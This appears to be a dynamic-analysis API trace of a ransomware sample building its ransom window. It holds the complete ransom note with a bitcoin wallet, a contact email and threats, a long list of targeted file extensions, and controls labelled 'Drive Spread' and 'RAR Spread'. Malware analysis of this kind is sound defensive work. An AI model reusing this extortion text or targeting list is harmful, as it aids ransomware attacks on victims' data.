[0089.541] SendMessageW (hWnd=0x2027e, Msg=0x30, wParam=0x50a0a07, lParam=0x0)
[0089.542] SendMessageW (hWnd=0x2027e, Msg=0xd3, wParam=0x3, lParam=0x0)
[0089.543] SetWindowTextW (hWnd=0x2027e, lpString=" ")
[0089.543] GetCurrentActCtx (in: lphActCtx=0x2ee340 | out: lphActCtx=0x2ee340*=0x1abc8538) returned 1
[0089.543] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.544] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.544] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName="To get Decryptor you need write on our e-mail :", dwStyle=0x56000000, X=385, Y=88, nWidth=366, nHeight=63, hWndParent=0x60106, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0089.544] SetWindowLongPtrW (hWnd=0x102a8, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.544] GetWindowLongPtrW (hWnd=0x102a8, nIndex=-4) returned 0x77a8b0ac
[0089.545] SetWindowTextW (hWnd=0x102a8, lpString="To get Decryptor you need write on our e-mail :")
[0089.545] GetCurrentActCtx (in: lphActCtx=0x2ee2d0 | out: lphActCtx=0x2ee2d0*=0x1abc8538) returned 1
[0089.545] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.545] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.545] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r12_ad1", lpWindowName="Copy", dwStyle=0x56012f00, X=313, Y=21, nWidth=47, nHeight=23, hWndParent=0x102a8, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0089.546] SetWindowLongPtrW (hWnd=0x102aa, nIndex=-4, dwNewLong=0x7fefc583b20) returned 0x1b191d7c
[0089.546] GetWindowLongPtrW (hWnd=0x102aa, nIndex=-4) returned 0x7fefc583b20
[0089.547] GetDC (hWnd=0x0) returned 0x90109d4
[0089.547] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2ed0d8) returned 0x0
[0089.547] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.547] GdipGetLogFontW (font=0x1c5af150, graphics=0x1c5a7fc0, logfontW=0x1ac10900) returned 0x0
[0089.547] CoTaskMemFree (pv=0x1ac10900)
[0089.547] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.547] CoTaskMemFree (pv=0x1ac10900)
[0089.547] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.547] CoTaskMemFree (pv=0x1ac10900)
[0089.547] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0089.547] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0089.547] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.548] CreateFontIndirectW (lplf=0x1ac10900) returned 0x40a0a0b
[0089.548] CoTaskMemFree (pv=0x1ac10900)
[0089.548] SendMessageW (hWnd=0x102aa, Msg=0x30, wParam=0x40a0a0b, lParam=0x0)
[0089.548] SetWindowTextW (hWnd=0x102aa, lpString="Copy")
[0089.548] GetCurrentActCtx (in: lphActCtx=0x2ee290 | out: lphActCtx=0x2ee290*=0x1abc8538) returned 1
[0089.549] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.549] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.549] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName="recoverydata28@firemail.de", dwStyle=0x560108c0, X=8, Y=22, nWidth=299, nHeight=23, hWndParent=0x102a8, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0089.549] SetWindowLongPtrW (hWnd=0x102ac, nIndex=-4, dwNewLong=0x7fefc58975c) returned 0x1b1a21ec
[0089.549] GetWindowLongPtrW (hWnd=0x102ac, nIndex=-4) returned 0x7fefc58975c
[0089.550] GetDC (hWnd=0x0) returned 0x90109d4
[0089.550] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2ed048) returned 0x0
[0089.550] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.550] GdipGetLogFontW (font=0x4a41a0, graphics=0x1c5a7fc0, logfontW=0x1ac10900) returned 0x0
[0089.550] CoTaskMemFree (pv=0x1ac10900)
[0089.550] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.550] CoTaskMemFree (pv=0x1ac10900)
[0089.550] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.550] CoTaskMemFree (pv=0x1ac10900)
[0089.550] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0089.550] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0089.551] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.551] CoTaskMemFree (pv=0x1ac10900)
[0089.551] SendMessageW (hWnd=0x102ac, Msg=0x30, wParam=0x530a09ca, lParam=0x0)
[0089.551] SendMessageW (hWnd=0x102ac, Msg=0xd3, wParam=0x3, lParam=0x0)
[0089.552] SetWindowTextW (hWnd=0x102ac, lpString="recoverydata28@firemail.de")
[0089.552] GetCurrentActCtx (in: lphActCtx=0x2ee3b0 | out: lphActCtx=0x2ee3b0*=0x1abc8538) returned 1
[0089.552] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.553] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.553] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=12, Y=769, nWidth=800, nHeight=72, hWndParent=0x4015e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0089.553] SetWindowLongPtrW (hWnd=0x102ae, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.553] GetWindowLongPtrW (hWnd=0x102ae, nIndex=-4) returned 0x77a8b0ac
[0089.554] GetCurrentActCtx (in: lphActCtx=0x2ee340 | out: lphActCtx=0x2ee340*=0x1abc8538) returned 1
[0089.554] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.554] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.554] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=184, Y=46, nWidth=10, nHeight=10, hWndParent=0x102ae, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0089.554] SetWindowLongPtrW (hWnd=0x102b0, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.554] GetWindowLongPtrW (hWnd=0x102b0, nIndex=-4) returned 0x77a8b0ac
[0089.555] GetCurrentActCtx (in: lphActCtx=0x2ee300 | out: lphActCtx=0x2ee300*=0x1abc8538) returned 1
[0089.555] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.556] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.556] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName=" ------------- Oops,Your Network have been infected!------------- \r\n \r\nDear Admin All files on the network have been attacked and encrypted with a strong encryption algorithms. RSA 2048 and AES-256. \r\n \r\nAll your files, documents, photos, databases and other important files are encrypted by a strong encryption. \r\n \r\nDon't worry, you can return all your files!\r\n \r\nWe are the only ones who can decrypt your files Through the unique key.\r\n \r\nwhat should I do for decrypting my files?\r\n \r\nIf you want to recover your files, you must purchase a the unique key You must pay 300$ bitcoin to wallet : 3JFgm9SMRxSP9YWPZiSCsezXvWZS5aTsaR\r\n\r\nfor each affected pc or 1000$ to receive all pc affected your network.\r\n \r\nDO NOT RESET OR SHUTDOWN - files may be damaged. \r\n \r\nDO NOT RENAME the encrypted files. \r\n \r\nDO NOT MOVE the encrypted files.\r\n\r\nThis may lead to the impossibility of recovery of the certain files.\r\n \r\nAs proof you can email us 3 files to decrypt and we will send you the recover files to prove that we can decrypt your files.\r\n\r\nAttempts to restore your data with third party software as Rakhni Decryptor etc.\r\n\r\nwill lead to irreversible destruction of your data.\r\n\r\nTo get this software you need write on our e-mail: recoverydata28@firemail.de \r\n", dwStyle=0x56010044, X=390, Y=88, nWidth=164, nHeight=20, hWndParent=0x102ae, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0089.556] SetWindowLongPtrW (hWnd=0x102b2, nIndex=-4, dwNewLong=0x7fefc58975c) returned 0x1b1a21ec
[0089.556] GetWindowLongPtrW (hWnd=0x102b2, nIndex=-4) returned 0x7fefc58975c
[0089.564] GetWindow (hWnd=0x102b2, uCmd=0x3) returned 0x102b0
[0089.564] GetClientRect (in: hWnd=0x102b2, lpRect=0x2ed480 | out: lpRect=0x2ed480) returned 1
[0089.564] GetWindowRect (in: hWnd=0x102b2, lpRect=0x2ed480 | out: lpRect=0x2ed480) returned 1
[0089.564] GetParent (hWnd=0x102b2) returned 0x102ae
[0089.564] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x102ae, lpPoints=0x2ed480, cPoints=0x2 | out: lpPoints=0x2ed480) returned -56754519
[0089.564] SendMessageW (hWnd=0x102b2, Msg=0x30, wParam=0x200a026a, lParam=0x0)
[0089.566] SetWindowTextW (hWnd=0x102b2, lpString=" ------------- Oops,Your Network have been infected!------------- \r\n \r\nDear Admin All files on the network have been attacked and encrypted with a strong encryption algorithms. RSA 2048 and AES-256. \r\n \r\nAll your files, documents, photos, databases and other important files are encrypted by a strong encryption. \r\n \r\nDon't worry, you can return all your files!\r\n \r\nWe are the only ones who can decrypt your files Through the unique key.\r\n \r\nwhat should I do for decrypting my files?\r\n \r\nIf you want to recover your files, you must purchase a the unique key You must pay 300$ bitcoin to wallet : 3JFgm9SMRxSP9YWPZiSCsezXvWZS5aTsaR\r\n\r\nfor each affected pc or 1000$ to receive all pc affected your network.\r\n \r\nDO NOT RESET OR SHUTDOWN - files may be damaged. \r\n \r\nDO NOT RENAME the encrypted files. \r\n \r\nDO NOT MOVE the encrypted files.\r\n\r\nThis may lead to the impossibility of recovery of the certain files.\r\n \r\nAs proof you can email us 3 files to decrypt and we will send you the recover files to prove that we can decrypt your files.\r\n\r\nAttempts to restore your data with third party software as Rakhni Decryptor etc.\r\n\r\nwill lead to irreversible destruction of your data.\r\n\r\nTo get this software you need write on our e-mail: recoverydata28@firemail.de \r\n")
[0089.573] GetCurrentActCtx (in: lphActCtx=0x2ee300 | out: lphActCtx=0x2ee300*=0x1abc8538) returned 1
[0089.573] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.573] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.573] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName=".txt.doc.docx.mp3.xls.xlsx.ppt.sql.wmv.mp4.mp3.iso.dll.jar.pptx.odt.jpg.tar.gz.bmp.pbm.rtf.png.csv.sql.mdb.sln.phpavi.mov.flv.amv.mpv.mtv.asp.aspx.html.xml.psd.pdf.exe.rv.rvx.ved.wm.wmv.TXT.JPG.rar.xwmv.wma.midi.fla.pdf.wma.ico.gif.GIF.ogg.mpg.icns.RAR.png.zip.BAT.Exe.c.exe.PNG.iso.7z.exe.EXEsql.mp4.7z.rar.m4a.wma.avi.wmv.csv.d3dbsp.zip.sie.sum.ibank.t13.t12.qdf.gdb.tax.pkpass.bc6.bc7.bkp.qic.bkf.sidn.sidd.mddata.itl.itdb.icxs.hvpl.hplg.hkdb.mdbackup.syncdb.gho.cas.svg.map.wmo.itm.sb.fos.mov.vdf.ztmp.sis.sid.ncf.menu.layout.dmp.blob.esm.vcf.vtf.dazip.fpk.mlx.kf.iwd.vpk.tor.psk.rim.w3x.fsh.ntl.arch00.lvl.snx.cfr.ff.vpp_pc.lrf.m2.mcmeta.vfs0.mpqge.kdb.db0.dba.rofl.hkx.bar.upk.das.iwi.litemod.asset.forge.ltx.bsa.apk.re4.sav.lbf.slm.bik.epk.rgss3a.pak.bigwallet.wotreplay.xxx.desc.py.m3u.flv.js.css.rb.png.jpeg.txt.p7c.p7b.p12.pfx.pem.crt.cer.der.x3f.srw.pef.ptx.r3d.rw2.rwl.raw.raf.orf.nrw.mrwref.mef.erf.kdc.dcr.cr2.crw.bay.sr2.srf.arw.3fr.dng.jpe.jpg.cdr.indd.ai.eps.pdf.pdd.psd.dbf.mdf.wb2.rtf.wpd.dxg.xf.dwg.pst.accdb.mdb.pptm.pptx.ppt.xlk.xlsb.xlsm.xlsx.xls.wps.docm.docx.doc.odb.odc.odm.odp.ods.odt", dwStyle=0x56010044, X=286, Y=110, nWidth=16, nHeight=20, hWndParent=0x102ae, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0089.574] SetWindowLongPtrW (hWnd=0x102b4, nIndex=-4, dwNewLong=0x7fefc58975c) returned 0x1b1a21ec
[0089.574] GetWindowLongPtrW (hWnd=0x102b4, nIndex=-4) returned 0x7fefc58975c
[0089.811] GetWindow (hWnd=0x102b4, uCmd=0x3) returned 0x102b2
[0089.811] GetClientRect (in: hWnd=0x102b4, lpRect=0x2ed480 | out: lpRect=0x2ed480) returned 1
[0089.811] GetWindowRect (in: hWnd=0x102b4, lpRect=0x2ed480 | out: lpRect=0x2ed480) returned 1
[0089.811] GetParent (hWnd=0x102b4) returned 0x102ae
[0089.812] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x102ae, lpPoints=0x2ed480, cPoints=0x2 | out: lpPoints=0x2ed480) returned -56754519
[0089.812] SendMessageW (hWnd=0x102b4, Msg=0x30, wParam=0x200a026a, lParam=0x0)
[0089.949] SetWindowTextW (hWnd=0x102b4, lpString=".txt.doc.docx.mp3.xls.xlsx.ppt.sql.wmv.mp4.mp3.iso.dll.jar.pptx.odt.jpg.tar.gz.bmp.pbm.rtf.png.csv.sql.mdb.sln.phpavi.mov.flv.amv.mpv.mtv.asp.aspx.html.xml.psd.pdf.exe.rv.rvx.ved.wm.wmv.TXT.JPG.rar.xwmv.wma.midi.fla.pdf.wma.ico.gif.GIF.ogg.mpg.icns.RAR.png.zip.BAT.Exe.c.exe.PNG.iso.7z.exe.EXEsql.mp4.7z.rar.m4a.wma.avi.wmv.csv.d3dbsp.zip.sie.sum.ibank.t13.t12.qdf.gdb.tax.pkpass.bc6.bc7.bkp.qic.bkf.sidn.sidd.mddata.itl.itdb.icxs.hvpl.hplg.hkdb.mdbackup.syncdb.gho.cas.svg.map.wmo.itm.sb.fos.mov.vdf.ztmp.sis.sid.ncf.menu.layout.dmp.blob.esm.vcf.vtf.dazip.fpk.mlx.kf.iwd.vpk.tor.psk.rim.w3x.fsh.ntl.arch00.lvl.snx.cfr.ff.vpp_pc.lrf.m2.mcmeta.vfs0.mpqge.kdb.db0.dba.rofl.hkx.bar.upk.das.iwi.litemod.asset.forge.ltx.bsa.apk.re4.sav.lbf.slm.bik.epk.rgss3a.pak.bigwallet.wotreplay.xxx.desc.py.m3u.flv.js.css.rb.png.jpeg.txt.p7c.p7b.p12.pfx.pem.crt.cer.der.x3f.srw.pef.ptx.r3d.rw2.rwl.raw.raf.orf.nrw.mrwref.mef.erf.kdc.dcr.cr2.crw.bay.sr2.srf.arw.3fr.dng.jpe.jpg.cdr.indd.ai.eps.pdf.pdd.psd.dbf.mdf.wb2.rtf.wpd.dxg.xf.dwg.pst.accdb.mdb.pptm.pptx.ppt.xlk.xlsb.xlsm.xlsx.xls.wps.docm.docx.doc.odb.odc.odm.odp.ods.odt")
[0090.414] GetCurrentActCtx (in: lphActCtx=0x2ee340 | out: lphActCtx=0x2ee340*=0x1abc8538) returned 1
[0090.415] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0090.415] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0090.415] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.LISTBOX.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x562100c1, X=308, Y=78, nWidth=50, nHeight=30, hWndParent=0x102ae, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0090.416] SetWindowLongPtrW (hWnd=0x102b6, nIndex=-4, dwNewLong=0x7fefc58ae14) returned 0x1b191f5c
[0090.416] GetWindowLongPtrW (hWnd=0x102b6, nIndex=-4) returned 0x7fefc58ae14
[0090.418] SendMessageW (hWnd=0x102b6, Msg=0x1a5, wParam=0x409, lParam=0x0)
[0090.419] GetCurrentActCtx (in: lphActCtx=0x2ee300 | out: lphActCtx=0x2ee300*=0x1abc8538) returned 1
[0090.419] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0090.419] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0090.419] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x560100c0, X=319, Y=88, nWidth=10, nHeight=20, hWndParent=0x102ae, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0090.419] SetWindowLongPtrW (hWnd=0x102b8, nIndex=-4, dwNewLong=0x7fefc58975c) returned 0x1b1a21ec
[0090.419] GetWindowLongPtrW (hWnd=0x102b8, nIndex=-4) returned 0x7fefc58975c
[0090.420] GetSystemMetrics (nIndex=5) returned 1
[0090.420] GetSystemMetrics (nIndex=6) returned 1
[0090.420] SendMessageW (hWnd=0x102b8, Msg=0xc5, wParam=0x7fff, lParam=0x0)
[0090.420] GetCurrentActCtx (in: lphActCtx=0x2ee3b0 | out: lphActCtx=0x2ee3b0*=0x1abc8538) returned 1
[0090.421] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0090.421] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0090.421] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r12_ad1", lpWindowName="12H", dwStyle=0x5601000b, X=355, Y=879, nWidth=46, nHeight=17, hWndParent=0x4015e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0090.421] SetWindowLongPtrW (hWnd=0x102ba, nIndex=-4, dwNewLong=0x7fefc583b20) returned 0x1b191d7c
[0090.421] GetWindowLongPtrW (hWnd=0x102ba, nIndex=-4) returned 0x7fefc583b20
[0090.422] SetWindowTextW (hWnd=0x102ba, lpString="12H")
[0090.422] GetCurrentActCtx (in: lphActCtx=0x2ee3b0 | out: lphActCtx=0x2ee3b0*=0x1abc8538) returned 1
[0090.422] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0090.422] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0090.423] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r12_ad1", lpWindowName="3D", dwStyle=0x5601000b, X=466, Y=879, nWidth=40, nHeight=17, hWndParent=0x4015e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0090.423] SetWindowLongPtrW (hWnd=0x102bc, nIndex=-4, dwNewLong=0x7fefc583b20) returned 0x1b191d7c
[0090.423] GetWindowLongPtrW (hWnd=0x102bc, nIndex=-4) returned 0x7fefc583b20
[0090.424] SetWindowTextW (hWnd=0x102bc, lpString="3D")
[0090.425] GetCurrentActCtx (in: lphActCtx=0x2ee3b0 | out: lphActCtx=0x2ee3b0*=0x1abc8538) returned 1
[0090.425] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0090.425] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0090.425] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="Oops ,Your Network have been penetrated!", dwStyle=0x5600000d, X=191, Y=9, nWidth=419, nHeight=25, hWndParent=0x4015e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0090.425] SetWindowLongPtrW (hWnd=0x102be, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0090.425] GetWindowLongPtrW (hWnd=0x102be, nIndex=-4) returned 0x7fefc5861b4
[0090.426] SetWindowTextW (hWnd=0x102be, lpString="Oops ,Your Network have been penetrated!")
[0090.426] GetCurrentActCtx (in: lphActCtx=0x2ee3b0 | out: lphActCtx=0x2ee3b0*=0x1abc8538) returned 1
[0090.426] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0090.427] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0090.427] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r12_ad1", lpWindowName="Drive Spread", dwStyle=0x5601000b, X=581, Y=914, nWidth=88, nHeight=17, hWndParent=0x4015e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0090.427] SetWindowLongPtrW (hWnd=0x102c0, nIndex=-4, dwNewLong=0x7fefc583b20) returned 0x1b191d7c
[0090.427] GetWindowLongPtrW (hWnd=0x102c0, nIndex=-4) returned 0x7fefc583b20
[0090.427] SetWindowTextW (hWnd=0x102c0, lpString="Drive Spread")
[0090.428] GetCurrentActCtx (in: lphActCtx=0x2ee3b0 | out: lphActCtx=0x2ee3b0*=0x1abc8538) returned 1
[0090.428] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0090.428] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0090.428] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r12_ad1", lpWindowName="RAR Spread", dwStyle=0x5601000b, X=581, Y=894, nWidth=86, nHeight=17, hWndParent=0x4015e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0090.428] SetWindowLongPtrW (hWnd=0x102c2, nIndex=-4, dwNewLong=0x7fefc583b20) returned 0x1b191d7c
[0090.428] GetWindowLongPtrW (hWnd=0x102c2, nIndex=-4) returned 0x7fefc583b20
[0090.429] SetWindowTextW (hWnd=0x102c2, lpString="RAR Spread")
[0090.429] GetCurrentActCtx (in: lphActCtx=0x2ee3b0 | out: lphActCtx=0x2ee3b0*=0x1abc8538) returned 1
[0090.429] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0090.430] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0090.430] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="extenssion", dwStyle=0x5600000d, X=337, Y=879, nWidth=57, nHeight=13, hWndParent=0x4015e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0090.430] SetWindowLongPtrW (hWnd=0x102c4, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0090.430] GetWindowLongPtrW (hWnd=0x102c4, nIndex=-4) returned 0x7fefc5861b4
[0090.430] SetWindowTextW (hWnd=0x102c4, lpString="extenssion")
[0090.430] GetCurrentActCtx (in: lphActCtx=0x2ee370 | out: lphActCtx=0x2ee370*=0x1abc8538) returned 1
[0090.431] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0090.431] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0090.431] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56010044, X=783, Y=858, nWidth=131, nHeight=26, hWndParent=0x4015e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0090.431] SetWindowLongPtrW (hWnd=0x102c6, nIndex=-4, dwNewLong=0x7fefc58975c) returned 0x1b1a21ec
[0090.431] GetWindowLongPtrW (hWnd=0x102c6, nIndex=-4) returned 0x7fefc58975c
[0090.432] GetSystemMetrics (nIndex=5) returned 1
[0090.432] GetSystemMetrics (nIndex=6) returned 1
[0090.432] SendMessageW (hWnd=0x102c6, Msg=0xc5, wParam=0x7fff, lParam=0x0)
[0090.432] GetCurrentActCtx (in: lphActCtx=0x2ee370 | out: lphActCtx=0x2ee370*=0x1abc8538) returned 1
[0090.433] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0090.433] GetClassInfoW (in: hInstance=0x0, lpClassName="RichEdit20W", lpWndClass=0x2656120 | out: lpWndClass=0x2656120) returned 1
[0090.433] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0090.433] CoTaskMemAlloc (cb=0x62) returned 0x1ac10900
[0090.433] RegisterClassW (lpWndClass=0x2ee050) returned 0xc172
[0090.434] CoTaskMemFree (pv=0x1ac10900)
[0090.434] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0090.434] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.RichEdit20W.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56212844, X=12, Y=48, nWidth=759, nHeight=265, hWndParent=0x4015e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0)
[0090.434] SetWindowLongPtrW (hWnd=0x102c8, nIndex=-4, dwNewLong=0x7fef6d41d50) returned 0x1b1a296c
[0090.434] GetWindowLongPtrW (hWnd=0x102c8, nIndex=-4) returned 0x7fef6d41d50
[0090.474] GetWindow (hWnd=0x102c8, uCmd=0x3) returned 0x102c6
[0090.474] GetClientRect (in: hWnd=0x102c8, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0090.474] GetWindowRect (in: hWnd=0x102c8, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0090.474] GetParent (hWnd=0x102c8) returned 0x4015e
[0090.474] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x4015e, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -6357323
[0090.474] GetWindowTextLengthW (hWnd=0x102c8)
[0090.478] GetDC (hWnd=0x0) returned 0x90109d4
[0090.479] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2ed088) returned 0x0
[0090.479] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0090.479] GdipGetLogFontW (font=0x1c50d720, graphics=0x1c5a7fc0, logfontW=0x1ac10900) returned 0x0
[0090.479] CoTaskMemFree (pv=0x1ac10900)
[0090.479] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0090.479] CoTaskMemFree (pv=0x1ac10900)
[0090.479] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0090.479] CoTaskMemFree (pv=0x1ac10900)
[0090.479] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0090.479] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0090.480] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0090.480] CoTaskMemFree (pv=0x1ac10900)
[0090.480] SendMessageW (hWnd=0x102c8, Msg=0x30, wParam=0x200a09c9, lParam=0x0)
[0090.481] SendMessageW (hWnd=0x102c8, Msg=0x204e, wParam=0x102c8, lParam=0x2ebaf0)
[0090.483] GetSystemMetrics (nIndex=5) returned 1
[0090.483] GetSystemMetrics (nIndex=6) returned 1
[0090.483] SendMessageW (hWnd=0x102c8, Msg=0x435, wParam=0x0, lParam=0x7fffffff)
[0090.485] SendMessageW (hWnd=0x102c8, Msg=0x446, wParam=0x0, lParam=0x48fea0)
[0090.486] DragAcceptFiles (hWnd=0x102c8, fAccept=0)
[0090.493] SendMessageW (hWnd=0x102c8, Msg=0x437, wParam=0x0, lParam=0x2658b10)
[0090.503] SendMessageW (hWnd=0x102c8, Msg=0x204e, wParam=0x102c8, lParam=0x2ebbe0) returned 0x0
[0090.504] SendMessageW (hWnd=0x102c8, Msg=0x2111, wParam=0x30002c8, lParam=0x102c8) returned 0x0
[0090.504] SendMessageW (hWnd=0x102c8, Msg=0x435, wParam=0x0, lParam=0x7fffffff)
[0090.574] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x2ed918, fWinIni=0x0 | out: pvParam=0x2ed918) returned 1
[0090.574] SendMessageW (hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0)
[0090.574] SelectObject (hdc=0xd010a02, h=0x1a0a0256) returned 0x30a09ec
[0090.574] DrawTextExW (in: hdc=0xd010a02, lpchText="24", cchText=2, lprc=0x2ed838, format=0x102400, lpdtp=0x265b4f8 | out: lpchText="24", lprc=0x2ed838) returned 20
[0090.574] InvalidateRect (hWnd=0x20288, lpRect=0x0, bErase=1) returned 1
[0090.574] GetWindowTextLengthW (hWnd=0x2027a)
[0090.575] GetWindowTextLengthW (hWnd=0x40298)
